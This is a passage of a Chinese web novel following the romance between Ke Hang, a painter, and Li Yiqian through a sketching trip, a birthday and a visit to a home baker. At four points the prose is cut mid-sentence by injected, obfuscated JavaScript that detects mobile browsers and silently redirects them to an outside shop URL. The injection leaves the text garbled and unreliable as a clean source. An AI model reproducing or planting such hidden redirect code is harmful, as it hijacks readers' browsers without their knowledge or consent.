柯杭总说他傻里傻气好欺负,但他知道,自己是个坏心眼儿的。让黄阿姨帮忙说服柯杭,这样柯杭才会接受自己去找他。 他们曾经很长时间陪伴在对方身旁,哪怕一年没见也没有太大隔阂。他会做饭了,也更会伪装,所以不怕柯杭对他冷脸。 更何况,见面后柯杭也没对他冷过脸。 柯杭对他一直很好,他想和柯杭一直在一起。 李一谦看准时间拿着一杯蜂蜜柚子水去到巷口,杯子里插了一根吸管,他举到柯杭面前,将吸管送到嘴边,"哥,张嘴喝水。" 坐了这么久,柯杭的嘴皮已经有些干燥,喝了几口水了,他舔了舔嘴唇。 应该是很软的,李一谦想。 柯杭喝完水,但杯子还没拿走,他仰头,发现李一谦直勾勾地盯着他看,像在猛兽盯住了自己看上的猎物。 他心头一惊,问:“看我干嘛呢?” “没。” 柯杭咂吧咂吧嘴:“还挺好喝的,再加一回水更好喝,不然太甜了。” 李一谦喉结滚了滚,“好。” “你回去坐着吧,或者给他们送杯?”柯杭试探道。 李一谦自然应他:“我点好给他们送去。” 他们本来是在另一个地方画的,但那附近没什么坐的地方,他就单飞了。 原来的景色是画水景,昨天已经画过了,柯杭就转移到巷子来。 巷口还有一家小店,李一谦正好可以在里面坐着。 李一谦在群里问他们要喝什么,给他们带过去。 [琨哥]:矿泉水就好。 [易清]:要要要!我和万煦要可乐! [万煦]:不,我不要,我喝苏打水。 李一谦拍了张菜单发过去,易清又说要柠檬水。他买好,折返回来,路过柯杭身边。 柯杭下意识叮嘱:“路上小心啊,早点回来。” “好。”李一谦心头一暖。 李一谦走了几分钟,来到一颗大榕树下,三个人,每人头顶一把伞,画纸上铺了一片颜色。 他把每个人要的水递过去,准备回去。 易清突然叫住他:“弟弟,过会儿再回去呗。” 李一谦顿住脚步,有些疑惑。 就见易清拍拍手,把画笔放在架子上,站起来伸了伸懒腰,到他身边来问了些他和柯杭的日常事儿。 “你和柯杭,一直是这样的相处模式?” 李一谦不解,但还是点点头:“差不多吧,怎么了吗易哥。” “没啥大事儿,随便问问,坐久了起来站站,那我应该想多了。”他总不能说我感觉你和你哥两人不对劲吧。 李一谦完成任务后,回到巷子口找柯杭。 一会儿的时间,柯杭的身边站了几个老大爷,对柯杭的画点评道足。 “这娃画的画不错嘞。” “比俺孙子画的还好。” 几人你一言我一语,却都没喝柯杭说话。 李一谦眼尖地看见对方手背在身后,似乎在揉着腰,他走过去:“哥,休息一会儿吧,不然腰疼了。” “没事儿。”柯杭婉拒。 他还是习惯画完再休息,再说,这幅画快结束了。 几个大爷看见他来了后,又结伴离开了,好似只是路过了这里。 李一谦不想回去坐着,便蹲在柯杭旁边。 柯杭余光一直能看见李一谦毛茸茸的脑袋,又紧挨着他的腿侧,让他想起集训时候去写生,每次他找好位置开始画时,就会有只小黄狗过来贴他。 不知道那只狗叫什么名字,便以他的毛色命名,他每次叫“大黄”,小狗就会抬头用狗狗眼看他,吐着舌头,拿头顶他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248900|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手求摸。 鬼使神差的,柯杭叫李一谦:“二谦?” 李一谦微微仰头,扭头看他:“要休息了吗?” 这双眼睛真的是柯杭见过的最好看的眼睛了,李一谦的五官里,眼睛最为出彩,睫毛像羽毛一样,总是让他产生怜爱。 “休息吧。”他说。 说到休息,李一谦比他这个要休息的人还高兴。 等柯杭把笔放下,李一谦迫不及待地握住他的手腕把人带到小店。 安置柯杭坐好后,李一谦站在他背后,手搭在他肩上:“靠着我,放松,给你捏捏肩。” 以往写生他没带过李一谦,自然也没享受过此等待遇。 每次腰酸背疼都是自己摆摆四肢,再扭扭就算活动开了,再疼的话,除了躺会儿也没什么办法了。 “你再这样,我简直想每次写生都把你带上了。”柯杭舒服地眯起眼。 李一谦答应得轻快:“好啊,我也愿意跟你一起出来。” 给柯杭揉了会儿肩,李一谦又坐到他身旁,把柯杭的手放到自己手上,开始手指放松。 “谢谢你啊。” 柯杭闲着的手撑在木桌上,头靠在手臂上休息:“我都有点不想画了。” “那就不画了。”李一谦说。 柯杭笑了下:“李二谦,像你这样的,我要和你谈上恋爱,那我肯定会堕落的。” 他重重叹了口气:“唉。” 李一谦抿唇,眼睛一错不错地盯着他看,莫名就委屈起来,他连声音都沙哑:“我知道了。” “知道什么了啊你又?”柯杭看他低垂着头,平时总是神采奕奕的眼睛被藏在一片黑羽之下。 李一谦委屈巴巴地开口:“你这句话的意思不就是不会和我谈了么。”他越说越小声。 柯杭有种搬起石头砸自己脚的感觉。 他对天发誓,对他最喜欢的莫奈大神发誓,那句话没有别的意思,只是想说李一谦太惯着他了。 不对,这样说也很怪。 明明他比李一谦年长,却总像个弟弟。 “我没这个意思呀。”柯杭说。 李一谦还是低着头,默默表达自己对这句话的在意。 柯杭服了,手伸过去捏住李一谦的下巴,“抬头,看我。” 然后就对上一双眼角泛红,眼眶含泪的眼睛。 他彻底没辙了。 “哭什么?还在外面呢。”柯杭的手是脏的,身上更是没一块儿干净的地方,所以没有第一时间去替他揩眼泪。 他们这张桌上竟然没有放纸,他将目光锁定隔壁桌。柯杭起身,掌心将李一谦的下巴包住,眼泪糊了他一手。 扯了几张纸过来给李一谦擦眼泪:“我的天,我真的没想到这么久不见,你居然这么能哭。” “以往叫你哭一个的我看的时候,你说什么男子汉大丈夫,有泪不轻弹,现在怎么回事啊?”柯杭一边说,一边替他擦掉脸上的泪痕。 李一谦:“我这个时候不想当大丈夫。” “那我也没有拒绝你的意思啊。”柯杭无奈道。 “你说和我谈恋爱会堕落,可是你不是一个会让自己堕落的人,所以你的意思就是不会或者不想和我谈恋爱。”眼泪又涌出两行,“哥,你是在暗示我放弃吗?你已经考虑好了吗?可是你昨天才说要考虑的,这个时间会不会太短了?” 柯杭:“......” 24. 下次是什么时候 柯杭举起三根手指发誓:“没有这个意思,真的。” 他也有些冤枉,李一谦怎么那么不信任他? 柯杭环视四周,没有什么人来,也没人注意到这里有他和旁边忧郁少年。 “看着我。”柯杭对他下达命令,等李一谦抬起头来,他又说:“不准动。” 柯杭站起身,弯着腰向他贴近,他们距离很近了,李一谦愣住,直勾勾盯着他。 “闭眼。” 李一谦闭上眼,眼皮上一片温热。 柯杭重新坐下,舔了舔粘上眼泪的嘴唇,“别哭了,没这个意思,真的。” 他又问:“我是这样的人?” 李一谦眼神仿佛在控诉他。 呃,难道他有前科? “那另一边也要亲。”李一谦小声说。 柯杭眼神飘忽,直接起身,头也不回地挥挥手:“我回去了,下次亲。” 手却被拉住,“下次是什么时候?” “不知道啊,再说吧。”柯杭挣脱李一谦的禁锢,用手指隔空点了点他,“不准再多想了,不会拒绝你,时间问题。” 这是无奈之下又给李一谦一重保证。 李一谦过分在意他的态度了,所以会认真去拆解他的每句话每个表情,这点不是很好,他得想办法给李一谦纠正一下。 不过比上次好了,上次是话都不说直接让他猜,还算有进步。 回到自己画画的位置不过两步路,但身后的眼神黏液一样让他觉得这段路走得十分艰难。 柯杭在心里默默道:“谁懂,根本不敢回头。” 看到李一谦流眼泪时,他心都碎了一半,但不难看出对方五分演。还是不能太惯着了,自认为自己是情感大师的柯大师如此说道。 坐在画前,柯杭拿笔的欲望却没有那么强烈了,总是下意识往李一谦那边瞥去。 没哭了吧? 在干什么呢? 唉。 柯杭认命地停下作画的动作,摸出手机给李一谦发消息。 [木]:没哭了吧? [二谦]:T.T [木]:这是什么表情? [二谦]:没哭了,眼泪都被你擦掉了。 柯杭满意了,心中的愧疚感消失了不少,准备继续画画。 可在收手机的一瞬间,李一谦又来了消息。 [二谦]:但心里还难受。 柯杭动了动手指,按了几个字后才收起手机。 一分钟不到,他旁边就多张板凳,多了个人。 柯杭没分他视线,继续手头的画,“等会儿太阳要是再出来就回去,知道没?” “好。”李一谦就在旁边看着,看他如何将面前的楼房画得栩栩如生。 本着照顾李一谦的心思,柯杭画得慢了些,和他闲聊起来。 “你爸叫你去他那边做什么的?多久回来。”柯杭问,因为那天晚上他太困了,没怎么听清楚,或许是听清了,但也不记得了。 “想让我提前感受一下这个专业的魅力,他是这样说的。”李一谦见柯杭皱起眉头,语气软了些:“我最多去半个月就回来,走之前我们去超市囤点东西在家里,你饿了就煮点来吃。” 柯杭一口拒绝:“不,你走了之后我去工作室和他们点外卖吃。” 李一谦半晌才憋出话来:“也行。” 能吃就行。 柯杭又说:“呆久点也没事,你爸本来就忙,你高三的时候都不知道多回来陪你几次。” 说起这个柯杭也有些心虚,因为原本最该在的他,却没有陪过李一谦一次。 “很好了已经,姐姐有经常回来看我,你也有经常和我聊天,不是吗?” 听到这句话,柯杭的心却并没有落到实处。 因为感觉李一谦更可怜了。 不知道过了多久,天色暗沉下来,他们两人的手机同时响起来电。 接通电话,先停到的是琨哥的声音。 “画怎么样了小杭?” 柯杭看了眼自己的画,“画完了,等它再干一点。” “等会儿可能要下雨,你们跟着过来了,我们早一点走。” 柯杭应了声“好”,李一谦已经开始帮他收拾东西。两个人一起收拾很快,他们十分钟内和大部队汇合。 回去的路上,柯杭本来准备自己开车的,结果李一谦自告奋勇。 柯杭依他,坐在副驾上绑好安全带,心里在想事情。 他们再有两天就要回去了,回去没两天就是李一谦的生日,到时候怎么过还不知道。 因为知道路线,路上车辆不多,李一谦开得很顺,回去的时候他们先去餐厅吃了饭,又各自在基地找地方玩了会儿。 吃吃喝喝画画,再聊聊天,他们的写生之旅很快结束。 易清没跟他们一块儿回去,而是到车站坐车回家。回去的时候,柯杭开了半程车,后半程是万煦开的,把车停在小区楼下后,和车上两人告别,他带着李一谦回家。 “吃点东西再回去吧。”柯杭着哈欠说,“我现在好困,我回去之后会睡得久点,你要干啥自己安排。” 东西大半都在李一谦手中,他乐得轻松。 “睡一天一夜?”李一谦问。 柯杭眯起眼,笑着问:“谁告诉你的?” 他很少睡一天一夜,这是最近一年才有的习惯,那是因为实在熬得太凶了。 但他绝对没和李一谦说过这件事。 这种毫无隐私的感觉,有点讨厌。就像李一谦无时无刻不在他身边一样,或者是有奸细。 “那天吃饭黄阿姨说的。” 柯杭点了一份三两米线加肉,抬头对上李一谦有些惊讶的表情。 “怎么?” “你吃得下吗?吃太多伤胃。” 柯杭胃口不算大,饭量一碗半,吃面的话二两顶天了。 “我知道啊。”柯杭叹了口气,“但我要睡觉。” 李一谦提出建议:“那你正常吃,每天吃饭的时候我叫你吃饭,你吃完再睡。” 其实这个办法很可行,但柯杭想到睡觉途中还要起来吃饭就很抗拒。 他露出标准的微笑:“我怕我骂你。” “没事,我不怕。”李一谦接过他的话,给他换成二两。 柯杭也没怪他自作主张,继续之前的话题:“我妈?"他递过去一双一次性筷子,“我妈她说什么了?你们怎么会一块儿吃饭?” 这点他一直没想通,两家的家长都忙的要死又不着家的。 “他们回来给我推荐自己的专业的,好像是回来前就联系了黄阿姨问有没有空吃饭。” “哦,看来是叔叔赢了。” 李一谦点头:“其实妈妈也没有很想让我学法,她说要到处飞,还不如跟着我爸就在研究室呆着。” “然后呢?” “然后他俩吵起来了” “?” 李一谦笑了笑:“与其说吵起来不如说在打情骂俏?就像在埋怨对方陪伴的少了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248901|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。” 柯杭连声啧啧:“那黄姐怎么跟你说我的。” 李一谦再心里默念对不起,接着毫不停顿地说了一串:“她说你经常熬夜通宵,熬完又报复性睡觉,一次睡个一两天,中间饭也不吃,也不一定醒的过来,太伤身体了。” “她还说你这几年身体越来越差,需要有人照顾,但家里人又没空照顾你,想让你找对象你又带不回去。” 柯杭支着脑袋听着,“是不是还说我是个犟种?” 在柯杭的目光威胁下,李一谦沉重点头,试图补救一句:“阿姨也是怕你自己在外面照顾不好自己。” “嗯。”柯杭懒洋洋地问:“所以就把你派来了?真把你当亲儿子用了啊。” 李一谦顿时羞涩起来:“我自愿的。” 柯杭在心里翻了个白眼,故作苦恼:“那你过几天走了后我可怎么呀,唉。毕竟我是个作息不规律,又照顾不好自己的犟种。” “我会早点回来的。”李一谦保证。 “开玩笑的,你爸那边估计要让你学点东西才合理,不可能那么早放你回来的。”柯杭自认为很了解他们一家。 李一谦的爸爸是什么智能机器人研究所的教授,妈妈是个律师,两个都是常年不回家的。一个忙起来一天二十个小时都在研究所,另一个忙起来全国各地到处飞。 所以李一谦的童年实在是可怜。 至于他么,至少黄姐和他爸每个月会回来几次上演几次母子情深、父子情深。 后来他长大了些,喜欢上画画后,黄姐他们回家他也沉迷于画画,并且觉得他们碍事儿,让他们该忙就忙,不用回来,有事手机联系。 那之后,他终于能专心画画了,李一谦也经常来找他一起呆着。 空的时候他会带着李一谦一块儿出去玩,但李一谦有很多兴趣班,问他的时候他说:“不然时间太多了,要找点事情做,有人看着我,爸爸妈妈才放心。” 多可爱懂事的小孩儿。 但“懂事”这两个字放在一个小孩子身上,本身就很残忍。 他们点的面很快端上来。 想着自己要睡一天的整觉,他心情还挺好。 “他不是还给你布置了一些作业么?”他从碗里挑了几块肉放李一谦碗里,“多吃点,正长身体。” 李一谦:“谢谢哥。” “确实布置了,他把他朋友的教学课发给我,让我学,不懂的去问他。” 柯杭:“基础课?数学?那你学到哪儿了?” “他给我发了微积分和线性代数的课,学了一半了,目前做题的话还好,没有想象的那么难。” 柯杭沉默。 过了好久才又说:“你的意思是,你每天跟我一块儿玩,和我一块儿睡,期间还要打扫家里卫生买菜做饭,就这样你还把线代和微积分学了一半?” “只是那一本教材的一半,不是所有。”李一谦纠正他,“而且打扫卫生那些也花不了多少时间,你画画的时候我也在学习,你没感觉到是因为你也在认真画画。” 可是,我画画的时候也没感觉到你在好好学啊? 隔一会儿就会有水果喂到嘴边,要不就是问他累不累要不要休息一下,请问哪儿学了? 算了,跟这些脑子好的人没话说。 吃完饭后,两人回到家,柯杭简单洗漱了下就回床上躺着了,“你要干啥就干,不用管我,今天不用叫我了,吃饭的话明天再叫吧。” 睡两天刚好到李一谦生日,还是不错。 25. 求你了,哥 转眼来到李一谦生日当天,柯杭询问他的意见,得到的还是想和他单独过的回答。 这其实也在意料当中。 柯杭前一天在手机上和李一妍聊天。 [木]:你弟说要单独和我过。 [木]:我本来还想把你接过来的。 [李一妍]:大哥,他就过个生日,又不是是大寿,我去年过生日你怎么不说帮我庆祝呢? 柯杭有些无语道:“你给我机会了吗?你处对象后有哪年生日是带我过的?” [李一妍]:冷静,易怒容易肾虚! [木]:一边玩儿去! 之后李一妍又问了几句他怎么给李一谦过生日,说自己就不送东西了,直接转账。 柯杭对此没什么意见。 李一谦每年生日礼物他送的都不一样,有些时候是画,有些时候时候是电子产品或是一趟旅行一场电影。 那些年随心所欲,想送什么就送了,好在李一谦不嫌弃。 回来当天说的是要睡两天,实际上第二天一早就醒了,又平平无奇的过了一天,只是时常犯困。 二十三号即将过去,在最后五分钟,柯杭定的闹钟响了。 他将平板上正在画的图保存,笔搁进笔槽,从电子设备中抬起头,在房间里寻找李一谦的身影。 李一谦作息规律,柯杭不闹他的时候他都会很早睡觉。 就像今天。 晚饭后,他们出门散了趟步回来。 路上,柯杭对李一谦说:“我决定了,明天我俩身份对调一天,你是我谦哥。” 李一谦面露疑色:“呃,具体呢?” “明天你就是我,平时我怎么使唤你的你就怎么使唤我,把我当成,嗯…你的男仆?”柯杭说。 听到“男仆”二字,李一谦觉得自己大脑宕机了一瞬。 不知想到了什么。 “啊…男,男仆啊?”他结结巴巴,又问,“是穿裙子的那种吗?” 柯杭眼神复杂了一瞬,转瞬即逝,挂上李一谦熟悉的笑容问:“想看啊?” 李一谦不自在地别过头,企图遮掩脸上烧起来的红晕,支支吾吾地说:“一点点吧。” 柯杭似笑非笑,像是不打算放过他:“一点点还是亿点点?” “很想看!”李一谦忽然抓住他的手,看着他说,神情难掩激动:“我马上买!” 柯杭:“……哈?”怎么突然跟变了一个人似的。 平时给你买衣服怎么没那么积极? “随你。” 两人回到家后,柯杭开始赶稿,前几天他发给编辑的图需要增加一些细节。他画画速度快,质量也不错,不会有崩画的情况,但偶尔会有遗漏的细节需要修改。 怕自己又忘记时间,柯杭设了闹钟,提醒自己零点给李一谦送祝福。 他扭头看着向床上鼓起的身形,紧皱的眉头忽然就松散开来。 李一谦怕他伤眼睛,没关卧室的顶灯。 柯杭将手机亮度调高了些,关好灯后,蹑手蹑脚地爬上床,看了眼时间,正好凌晨十二点整。 他钻进被窝,在黑暗中摸到李一谦的脸,给对方把额头上的刘海撸上去,在眉心留下一个温柔的吻,“生日快乐。” 画稿的时候不觉得困,现在躺床上困得要死,说完话就没了力气。 本该迷迷糊糊睡过去,却被人搂进怀里。 贴上来的皮肤很热,柯杭推了推,“别抱,热。” “哥,你亲我了。”李一谦声音格外沙哑,像被吵醒。 听着口气,也不像是在询问,而是肯定自己亲他了。 那多半是闹钟响的那会儿就醒了。 柯杭费力撑起眼皮,问:“……我吵醒你了?” 刚说完又没忍住闭上了眼。 “没,梦到你了。”李一谦脑袋凑过来蹭了蹭。 柯杭忍不住抬手按住他的脑袋:“你像以前家里养的小狗,总爱拿脑袋蹭我。” 李一谦虚抱着他,用脸去蹭他:“哥,可不可以预支一个吻给我?” “不是亲了嘛。”柯杭声音懒懒的,随时会睡着的样子。 带着祈求、委屈的声音在耳边一下一下磨蹭着他的耳朵:“求你了,哥。” “你先亲我的,我还给你,好不好?” 李一谦半坐着,低头贴上他的唇瓣,又软又热,他衔着那处温软,辗转于两唇之间。 柯杭困极了,抬手把人推开。 李一谦握住那只手,落下一个吻后,重新放进被窝:“谢谢哥,我很喜欢这个礼物。” 柯杭梦呓几句,李一谦没听清,又凑过去偷偷亲了一口。 两人相拥而眠,一夜无梦。 第二天,闹钟响起时,已是天光大亮。柯杭反手关上闹钟,想起什么,他眯起眼,手往旁边摸了摸。 人不在了。 他连忙起身,出了卧室发现李一谦端着一盘三明治从厨房走出来。 “怎么醒了?” “你怎么起了?”柯杭几步跨过去把餐盘拿自己手上,“我来我来,今天你坐着享受。” 李一谦有些犹豫:“今天就开始啊?” “不然呢?”柯杭叉腰,“难道你想衣服到了再开始?我穿着裙子在家打扫卫生伺候你吃饭睡觉?” 李一谦神色不自然起来。 柯杭不可置信:“你不会真想过吧?” “看不出来啊,李二谦!”柯杭觉得自己脸烧了起来,饶是他脸皮再厚,也抵不住知道从小一起长大的弟弟这样想他啊。 将盘子放到桌上,柯杭扬起拳头,威胁道:“不准再想了,吃饭!” 李一谦坐在椅子上控诉:“你凶我。” 柯杭瞪大眼,指着自己:“我?”接着将自己姿态放的很谦卑,和颜悦色:“谦哥说的什么话,今天你生日,我怎么可能凶你?” 李一谦将切开的三明治递给他一个,“今天你会实现我所有的愿望吗?” “大概?合理的都答应。” 说实话,柯杭有些害怕,如果李一谦的愿望是想和他谈恋爱,他要不要答应。 不答应也有理由,因为他现在还没完全适应,如果答应了话肯定会有罪恶感,那不如不谈。 可是答应了后,两人之间的关系会更加亲密,他挺期待的,但目前还是“怕”多一些。 李一谦期待地说:“那你今天一整天都要陪我。” “废话,肯定陪你啊。” “不准画画。” “......”这小兔崽子。 柯杭答应了,又问他想去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248902|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿玩,要不要吃蛋糕。 李一谦问:“我们可以自己做蛋糕吗?” 柯杭看着他:“你想象力挺丰富的。” 李一谦立马露出失望的神情。 柯杭抬手想说些什么,欲言又止,偏偏他就吃这一套。 “等会儿我给你姐打电话问一下,她上回来还见了个朋友,说那个朋友在做私房烘焙,我让她帮我们联系一下。” “好。”李一谦展出笑颜。 桌下,柯杭握紧了拳头。 他就知道会是这样!李一谦就会靠装委屈拿捏他! 这会儿还很早,柯杭打电话过去,不出所料被李一妍骂了一顿,怪他扰人清梦。 三言两语解释清楚后,把手机给李一谦,让姐弟俩说了会儿话。 “生日快乐啊弟。” “谢谢姐。” “那家店在市中心,你们看看是坐地铁去还是开车去,地址我发柯杭微信上了,祝你们今天过得愉快。”李一妍说完挂断电话。 李一谦把手机递给柯杭:“我姐说发你地址了。” [李一妍]:铭景园.loc [李一谦]:小森私房烘培.链接分享/ 柯杭将地址导入地图导航。 “走吧,先过去。”他收起手机。 李一谦按住柯杭拿车钥匙的手,“哥,你车今天限号,开不了。” 柯杭:“……坐地铁?” “好。” 租的房子离地铁口大概200米,看线路规划,得坐三十多站才能到达目的地附近。 他们这条线的人流量不算大,中转站转一条线再坐会儿就可以到了。 柯杭拿了个手机就出门了,钥匙也拿给李一谦装着。 李一谦背了个包,包里带着纸巾、充电宝、耳机等等用品。他拿出耳机,分给柯杭一只:“听会儿歌再眯会儿?” “行。”柯杭摆弄着手机,边看蛋糕品种边看李一妍发来的消息。 [李一妍]:我这个朋友他最近情绪有些问题,你们多和他聊聊天交个朋友,空的时候约他出去吃吃饭。 [李一妍]:上回来A市本来想约你们一起吃个饭,但他当时在跟前男友掰扯,没空理我。他叫陆森,挺好一人。 柯杭回知道了。 地铁行驶过程中摇摇晃晃,柯杭有些犯困,打了个哈欠,环着手臂开始昏昏欲睡。 李一谦余光中看见他脑袋一点一点的,轻轻扶着靠到自己肩上。 柯杭找了个舒服的落点继续睡。 出地铁站时,柯杭跟随导航来到一个小区,来访人员需要联系业主。 李一谦主动去交涉:“你好,我们是3栋1801的客人。” 可能因为老板提前知会过,门卫问过信息就把他们放进来了,“小森的朋友啊,快来快来。” 门卫大叔热心指路:“到了后按电子锁上的呼叫按钮,我给你们开门。” 道谢后,他们顺着门卫指的方向出发,找到了相应的高楼。 柯杭说:“感觉这个老板人确实挺好,那大叔知道我俩是来找他的,态度都好了不少。” 李一谦点点头:“我姐交友水平很高的。” “确实。”李一谦一句话夸了三个人,柯杭作为其中之一表示很满意。 26. 香水 电梯上,柯杭突然意识到,他们来的似乎有些冒昧了。作为老板朋友的朋友,他们上门叨扰好像应该带点礼物? 柯杭把自己的想法说出来,想要出去买点东西。 “没事,我带了我姐寄来的猪肉脯。”李一谦按住他蠢蠢欲动的手,安慰道:“出门前她给我发消息让我带点送给她这位朋友。” 到达十八楼,电梯门刚开时,柯杭就闻到一股奶香,完全可以闻香辨位,锁定到左边。 果然。 乳白色的入户门大开,门角有个矮凳抵着门。入户毯上放了两双男士拖鞋,边上还有鞋套。 柯杭指节叩响房门:“打扰了,有人在吗?” “在!”一名围着兔子围裙的年轻人踩着拖鞋哒哒哒跑来,脸上带着口罩,身形单薄。 “你们好,我叫陆森。”他指了指地上,“这里有拖鞋和鞋套,看你们选哪一种。” 两人套上鞋套,进入玄关,发现玄关柜上放了几瓶免洗消毒洗手液和消毒喷雾。 主人家应该是有回家消毒的习惯,柯杭看向那几个瓶子:“我们能喷吗?” “当然!”陆森说,“消毒过后,再去卫生间洗个手吧。” “等等。”李一谦忽然开口,从包里摸出一个可爱礼盒,递给陆森,“来的匆忙,我们没带什么东西,这是我姐做的猪肉脯,她说一定要让你尝尝。” 陆森惊喜了一瞬,眼神又悄悄暗淡下来:“谢谢。” 两人在陆森的带领下走到卫生间洗手,又戴上同款围裙。 “一妍和我说你们想自己做蛋糕。” 李一谦:“对,想体验一下。” “从第一步开始做吗?还是用刚烤好的现成的蛋糕胚?”陆森问。 两人对视一眼,柯杭笑了笑:“有现成的就用现成的吧。” 他们来到厨房,本以为厨房会有很多复杂的厨具,像李一妍家里一样,堆的到处都是,没想到出乎意料的整洁。 桌上还有未完成的蛋糕点缀物。 见两人四处张望,陆森主动开口:“装修的时候把厨房和客卧打通了,所以会大一些。” 他先开靠墙收纳货架上的帘子,各种各样的锅碗瓢盆整齐的摆放在货架上,“都收在这里。” 柯杭和李一谦露出“果然如此”的表情。 “你们准备做几寸的蛋糕?” 李一谦:“两个人吃的。” 陆森从货架上抱出一个蛋糕转台,又从柜子里抽出一个蛋糕底托放在上面,问:“要做什么图案的?我帮你们调色。” 他从冰箱里端出一盆奶油,又找了几个裱花袋出来。 柯杭看向李一谦:“准备画什么啊?” “有图片吗?”李一谦问。 陆森走到另一边的操作台拿起平板,点了几下后递给李一谦,说:“你也可以去网上搜一下,上面的样式更多些,但我这儿的装饰就只有图片上那些。” 柯杭和李一谦一起看,看得都打哈欠了,李一谦郑重其事的样子也帅的,虽然只是在选蛋糕。 他无聊地找陆森聊天。 陆森的身形确实很单薄,比他矮个两三厘米的样子。他自认为自己已经够瘦了,可陆森肉眼可见的比他还瘦。 “你好瘦啊。”柯杭忍不住说。 陆森把刚烤好的小饼干端过来放子安桌上,睁大了眼,扬起嘴角,很开心的样子:“是吗?谢谢!” 柯杭:......并不是夸奖,谢谢。 “平时身上多备点糖吧,太瘦的人容易低血糖。” “好的,我知道了,谢谢你的关心。”陆森柔声说道。 不可否认的是,这确实是个温柔有耐心的人。李一谦在那里选半天他都想踹一脚了,陆森还温温和和的跟他聊天。 听到他学的是美术,陆森便想看他的作品。柯杭翻出手机里前两天写生画的画,“这是前两天画的。” “好好看啊!”陆森夸赞道。 柯杭心里甜滋滋的:“谢谢。” 陆森忽然打开了话匣子:“我这个店主要在网上营业,顾客点单也是通过网络下单,但我总觉得商品页面太过单调了,能帮我设计一下吗?” “啊?”柯杭拿饼干的手顿了一下,“你想要哪种设计?” 陆森说:“我想要个那种做蛋糕小游戏里面,可以定制蛋糕的板块,这样的话,顾客可以体会diy的乐趣。” “啊,你是想开一家店吗?” 陆森:“现在正在筹备,准备开一家烘培DIY店,顾客提前预约好,我就可以提前准备好相关的东西。” 柯杭沉思片刻,想到了万煦,“我有个朋友学的数艺,你说的这些跟他专业相关一些,我回去问问他,他如果有意向的话,我把他推给你,你再和他联系,可以吗?” “没问题!谢谢你!” 李一谦选好蛋糕模样后,就在等他们聊完,他忽然想起他姐刚才和他的聊天:“你在A市没事就多在他那里买点甜品分给大家,钱不够我打给你,多帮我关注一下他的状态。” [1]:为什么? 他倒不是担心他姐看上这个青年,只是有种他姐让他监视对方的感觉。 [姐]:他对象有病,花他钱,pua他,小森多好一娃娃,现在瘦成什么样了都,他视频下好多粉丝都说他瘦了。 [1]:我只是一个外人。 [姐]:他对象如果也喜欢他的话我当然没话说,但是他对象很大概率出轨啊,这不妥妥渣男? 两人牛头不对马嘴,各说各的。 [1]:好,我知道了。 李一谦靠在沙发上观察着陆森,看着看着视线就落在了柯杭身上。 柯杭仰头看他:“终于选好了?” “选好了。”他把平板放在桌上。 屏幕上是一张暖色基调的蛋糕,上面几片橙片围着中间的蜡烛,周围是简单的裱花,随便几条波浪就好了。 柯杭有些无语:“挑半天就选了个这么简单啊?是不是看不起我?” 在柯杭看来,这个蛋糕简直毫无难度,没有复杂的技艺,只需要把蛋糕抹匀,橙片不放歪,那就完事儿了。 “没有,我最喜欢这个。” 陆森不清楚他们的相处方式,怕他们吵架,连忙出来打圆场,“这个其实也不是特别简单,中间还要放一些果酱和其他小料,所以做的时候很容易歪。” 他绞尽脑汁也想不出做蛋糕有什么难得,只得再次补充:“而且看得出来你不讨厌橙子,所以不要吵架。” “没吵。”柯杭回他,有些感兴趣对方的猜测,问:“从哪里看出来我不讨厌橙子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248903|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 陆森看看这个又看看那个,说:“你们俩身上的味道都是橙子味。” 这回轮到柯杭愣住了,他拎起自己的衣领,低头嗅了嗅。出门前喷的香水经过一个多小时的地铁味道已经很淡了。 但,他喷了,李一谦没喷啊,李一谦哪来的橙子味? 柯杭让出个位置,朝李一谦招招手让他坐下,然后凑过去闻了闻他的衣袖,坐直身子对陆森说:“没有啊。” “……有的,你们的味道差不多一样。”陆森弱弱地说道。 